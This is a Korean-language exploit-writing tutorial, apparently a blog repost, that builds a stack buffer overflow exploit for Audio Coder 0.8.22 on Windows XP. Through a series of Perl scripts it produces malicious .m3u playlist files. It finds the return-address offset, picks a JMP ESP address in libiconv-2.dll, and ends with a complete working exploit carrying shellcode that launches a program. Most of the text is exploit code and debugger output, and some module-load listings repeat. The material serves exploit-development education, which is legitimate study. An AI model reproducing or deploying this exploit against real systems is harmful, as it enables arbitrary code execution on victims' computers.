출처: http://regnid.tistory.com/16
개요
Audio Coder 0.8.22의 스택 기반 오버플로우 취약점을 찾고 exploit하여 스택 기반 오버플로우에 대한 이해를 더욱 더 알 수 있도록 할 것이다.
Exploit 대상
Audio Coder 0.8.22(https://www.exploit-db.com/exploits/26411)
실습 환경
- 운영체제
Windows XP Service Pack 3: Exploit 대상인 Audio Coder 0.8.22를 실행시킬 운영체제
Kali Linux 1.1.0: pattern을 생성하고, 검색하기 위해 사용
- 사용한 툴
Perl: m3u 파일을 생성하는 스크립트 작성
WinDbg: Audio Coder 0.8.22를 디버깅, JMP ESP 검색
실습
1. Audio Coder 0.8.22 설치
1) Windows XP에서 'https://www.exploit-db.com/exploits/26411/'로 접속하여 Download Vulnerable App 오른쪽에 있는 버튼을 눌러 취약한 애플리케이션을 다운받는다(그리고 Download Exploit 오른쪽 부분에 Source를 누르면 아래 PoC 코드를 다운 받을 수 있다).
2) 설치한 AudioCoder를 실행시키면 아래와 같이 실행된다.
2. Post-Mortem 디버거 등록
1) 다음으로 cmd을 띄워서 WinDbg -I 명령어를 실행한다. 이 명령어는 WinDbg 디버거를 post-mortem 디버거로 등록한다는 의미이다. 즉, 오류가 발생하면 WinDbg 디버거가 자동으로 이를 포착하여 오류가 난 곳을 디버깅할 수 있게 해준다.
2) 위 명령어를 실행하면 아래와 같이 WinDbg가 default postmortem debugger으로 설치되었다는 메시지를 띄워진다.
3. 버퍼 크기 확인
1) 앞에 header로 "http://"을 넣어주고, 뒤에 "A"를 500개를 붙여서 test1.m3u 파일을 생성한다.
1
2
3
4
5
6
7
8 |
# C:\Exploit\test1.pl my $file = "test1.m3u" ; my $junk = "A" x 500; open ( $FILE , ">$file" ); print $FILE $header . $junk ; close ( $FILE ); |
2) 위에서 생성한 test1.m3u 파일을 AudioCoder에 로딩시키면 에러가 나고, 에러가 난 코드와 레지스터들을 WinDbg를 통해 보여준다. 이 때 EIP를 보면 41414141임을 확인할 수 있다. 이는 "A" 500개가 버퍼에서 넘쳐서 Return Address를 덮었음을 의미한다.
3) 500 byte 내에 Return Address를 변경하므로 정확히 몇 번째 byte에서 Return Address를 덮어쓰는지 쉽게 확인하기 위해 Kali Linux의 pattern_create.rb 명령어(usage: ./pattern_create.rb <패턴의 개수>)를 통해 500 byte의 패턴을 생성한다.
4) 위의 패턴을 사용하여 아래와 같이 코드를 수정한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24 |
# C:\Exploit\test2.pl my $file = "test2.m3u" ; my $junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9" . "Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9" . "Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9" . "Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9" . "Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9" . "Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9" . "Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9" . "Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9" . "Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9" . "Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9" . "Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9" . "Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9" . "Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9" . "An0An1An2An3An4An5An6An7An8An9" . "Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9" . "Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9" . "Aq0Aq1Aq2Aq3Aq4Aq5Aq" ; open ( $FILE , ">$file" ); print $FILE $header . $junk ; close ( $FILE ); |
5) 위의 코드로 생성된 test2.m3u 파일을 AudioCoder에 로딩시키면 EIP가 41336941로 나온다.
6) Kali Linux의 pattern_offset.rb 명령어(usage: ./pattern_offset.rb <offset> <생성했던 패턴의 수>)를 이용하여 위에서 나온 41336941이 몇 번째 byte의 패턴인지 확인하면 249 byte에서 Return Address를 덮는 것을 알 수 있다.
4. EIP & 스택 조작
1) 이제 몇 byte에서 Return Address를 덮어쓰는지 확인하였으므로 EIP와 스택의 데이터를 원하는 값으로 변경하도록 아래와 같이 코드를 수정한다.
1
2
3
4
5
6
7
8
9
10
11
12
13 |
# C:\Exploit\test3.pl my $file = "test3.m3u" ; my $junk = "A" x 249; my $eip = "BBBB" ; my $junk2 = "1ABCDEFGHIJKLMNOPQRSTUVWXYZ" . "2ABCDEFGHIJKLMNOPQRSTUVWXYZ" . "3ABCDEFGHIJKLMNOPQRSTUVWXYZ" . "4ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; open ( $FILE , ">$file" ); print $FILE $header . $junk . $eip . $junk2 ; close ( $FILE ); |
2) 위의 코드에서 생성된 test3.m3u 파일을 AudioCoder에 로딩시키면 물론 에러가 나고 WinDbg가 실행이 된다. 이 때 EIP가 42424242("BBBB")이고, ESP는 0012f37c, ESP가 가리키는 주소의 데이터를 보면 junk2 전부 있음을 확인할 수 있다. 즉, EIP를 원하는 메모리 주소를 가리킬 수 있고, Shell Code를 스택에 삽입할 수 있게 되었다.
5. 쉘 코드 삽입
1) EIP를 위에서 확인한 ESP 값(0012f37c)으로 설정하고, NOP(\X90) 8 byte, Shell Code를 추가합니다. Shell Code가 EIP 바로 다음에 와도 되지만 NOP을 8개를 추가한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21 |
# C:\Exploit\test4.pl my $file = "test4.m3u" ; my $junk = "A" x 249; my $eip = pack ( 'V' , 0x0012f37c); my $nops = "\x90" x 8; my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" . "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" . "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" . "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" . "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" . "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" . "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" . "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" . "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" . "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" . "\x7f\xe8\x7b\xca" ; open ( $FILE , ">$file" ); print $FILE $header . $junk . $eip . $nops . $shellcode ; close ( $FILE ); |
2) 위에서 나온 test4.m3u 파일을 다시 로딩시키면 계산기가 띄워질 것 같지만 실제로는 실행되지 않는다. 이유를 찾아보면 점프할 EIP가 ESP(0012F37C)처럼 NULL 바이트가 포함된 주소이면 안 되고, 그리고 특정 메모리로 직접 점프하는 것은 좋은 방법이 아니다. ESP 주소로 점프하기 위해서는 ESP로 점프하는 함수를 찾고, EIP가 그 함수로 점프하도록 하면 된다.
3) Windows에서 사용하는 DLL은 버전마다 다를 수 있기 때문에 AudioCoder 자체에서 만든 DLL을 사용합니다. 또한 DLL Relocation이 일어날 수 있기 때문에 주소가 변하지 않는 DLL을 선택한다. 여기서는 libiconv-2.dll를 사용한다.
ModLoad: 00400000 00569000 C:\Program Files\AudioCoder\AudioCoder.exe ModLoad: 10000000 10029000 C:\Program Files\AudioCoder\mccommon.dll ModLoad: 66000000 660fb000 C:\Program Files\AudioCoder\libiconv-2.dll ModLoad: 00570000 0060e000 C:\Program Files\AudioCoder\libxml2.dll ModLoad: 00610000 00690000 C:\Program Files\AudioCoder\SDL.dll ModLoad: 00690000 006e6000 C:\Program Files\AudioCoder\SDL_image.dll ModLoad: 006f0000 00782000 C:\Program Files\AudioCoder\jpeg.dll ModLoad: 01450000 014b5000 C:\Program Files\AudioCoder\mcres.dll ModLoad: 01d10000 01d1f000 C:\Program Files\AudioCoder\plugins\dsp_chmx.dll ModLoad: 02ca0000 02ca6000 C:\Program Files\AudioCoder\plugins\dsp_zsc.dll ModLoad: 02dc0000 02df8000 C:\Program Files\AudioCoder\SysInfo.dll |
ModLoad: 10000000 10029000 C:\Program Files\AudioCoder\mccommon.dll ModLoad: 66000000 660fb000 C:\Program Files\AudioCoder\libiconv-2.dll ModLoad: 00570000 0060e000 C:\Program Files\AudioCoder\libxml2.dll ModLoad: 00610000 00690000 C:\Program Files\AudioCoder\SDL.dll ModLoad: 00690000 006e6000 C:\Program Files\AudioCoder\SDL_image.dll ModLoad: 006f0000 00782000 C:\Program Files\AudioCoder\jpeg.dll ModLoad: 01460000 014c5000 C:\Program Files\AudioCoder\mcres.dll ModLoad: 01c70000 01c7f000 C:\Program Files\AudioCoder\plugins\dsp_chmx.dll ModLoad: 01d10000 01d16000 C:\Program Files\AudioCoder\plugins\dsp_zsc.dll ModLoad: 02d80000 02db8000 C:\Program Files\AudioCoder\SysInfo.dll |
ModLoad: 00400000 00569000 C:\Program Files\AudioCoder\AudioCoder.exe ModLoad: 10000000 10029000 C:\Program Files\AudioCoder\mccommon.dll ModLoad: 66000000 660fb000 C:\Program Files\AudioCoder\libiconv-2.dll ModLoad: 00570000 0060e000 C:\Program Files\AudioCoder\libxml2.dll ModLoad: 00610000 00690000 C:\Program Files\AudioCoder\SDL.dll ModLoad: 00690000 006e6000 C:\Program Files\AudioCoder\SDL_image.dll ModLoad: 006f0000 00782000 C:\Program Files\AudioCoder\jpeg.dll ModLoad: 01460000 014c5000 C:\Program Files\AudioCoder\mcres.dll ModLoad: 01d10000 01d1f000 C:\Program Files\AudioCoder\plugins\dsp_chmx.dll ModLoad: 02ca0000 02ca6000 C:\Program Files\AudioCoder\plugins\dsp_zsc.dll ModLoad: 02dc0000 02df8000 C:\Program Files\AudioCoder\SysInfo.dll |
ModLoad: 00400000 00569000 C:\Program Files\AudioCoder\AudioCoder.exe ModLoad: 10000000 10029000 C:\Program Files\AudioCoder\mccommon.dll ModLoad: 66000000 660fb000 C:\Program Files\AudioCoder\libiconv-2.dll ModLoad: 00570000 0060e000 C:\Program Files\AudioCoder\libxml2.dll ModLoad: 00610000 00690000 C:\Program Files\AudioCoder\SDL.dll ModLoad: 00690000 006e6000 C:\Program Files\AudioCoder\SDL_image.dll ModLoad: 006f0000 00782000 C:\Program Files\AudioCoder\jpeg.dll ModLoad: 01b20000 01b85000 C:\Program Files\AudioCoder\mcres.dll ModLoad: 02520000 0252f000 C:\Program Files\AudioCoder\plugins\dsp_chmx.dll ModLoad: 02640000 02646000 C:\Program Files\AudioCoder\plugins\dsp_zsc.dll ModLoad: 02650000 02688000 C:\Program Files\AudioCoder\SysInfo.dll |
4) AudioCoder를 실행한 다음에 WinDbg에서 Attach한다. 그 다음에 libiconv-2.dll 에서 JMP ESP(OP Code: FF E4) 명령어를 찾는다.
5) 찾은 6602c104 주소를 이용하여 아래와 같이 코드를 수정한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21 |
# C:\Exploit\test5.pl my $file = "test5.m3u" ; my $junk = "A" x 249; my $eip = pack ( 'V' , 0x6602c104); my $nops = "\x90" x 8; my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" . "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" . "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" . "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" . "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" . "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" . "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" . "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" . "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" . "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" . "\x7f\xe8\x7b\xca" ; open ( $FILE , ">$file" ); print $FILE $header . $junk . $eip . $nops . $shellcode ; close ( $FILE ); |
6) 위에서 생성된 test5.m3u 파일을 AudioCoder에 로딩시키면 드디어 계산기가 띄워지는 것을 확인할 수 있다.
참고
Exploit-DB(https://www.exploit-db.com/exploits/26411)
Written by dinger from SecurityInsight Research Group.
'IT기술 관련 > 윈도우' 카테고리의 다른 글
Putty 한글 깨짐 해결방법 (0) | 2016.09.29 |
---|---|
[Exploit Writing] 02 쉘코드로 점프 (0) | 2016.09.28 |
[Exploit Writing] 01 스택 기반 오버플로우 (0) | 2016.09.28 |
WoWLAN(Wake on Wireless LAN) 구성 (0) | 2016.09.23 |
[RDP Wrapper]원격데스크톱 다중 사용자 접속 하기 (RDP Multi-session) (0) | 2016.09.23 |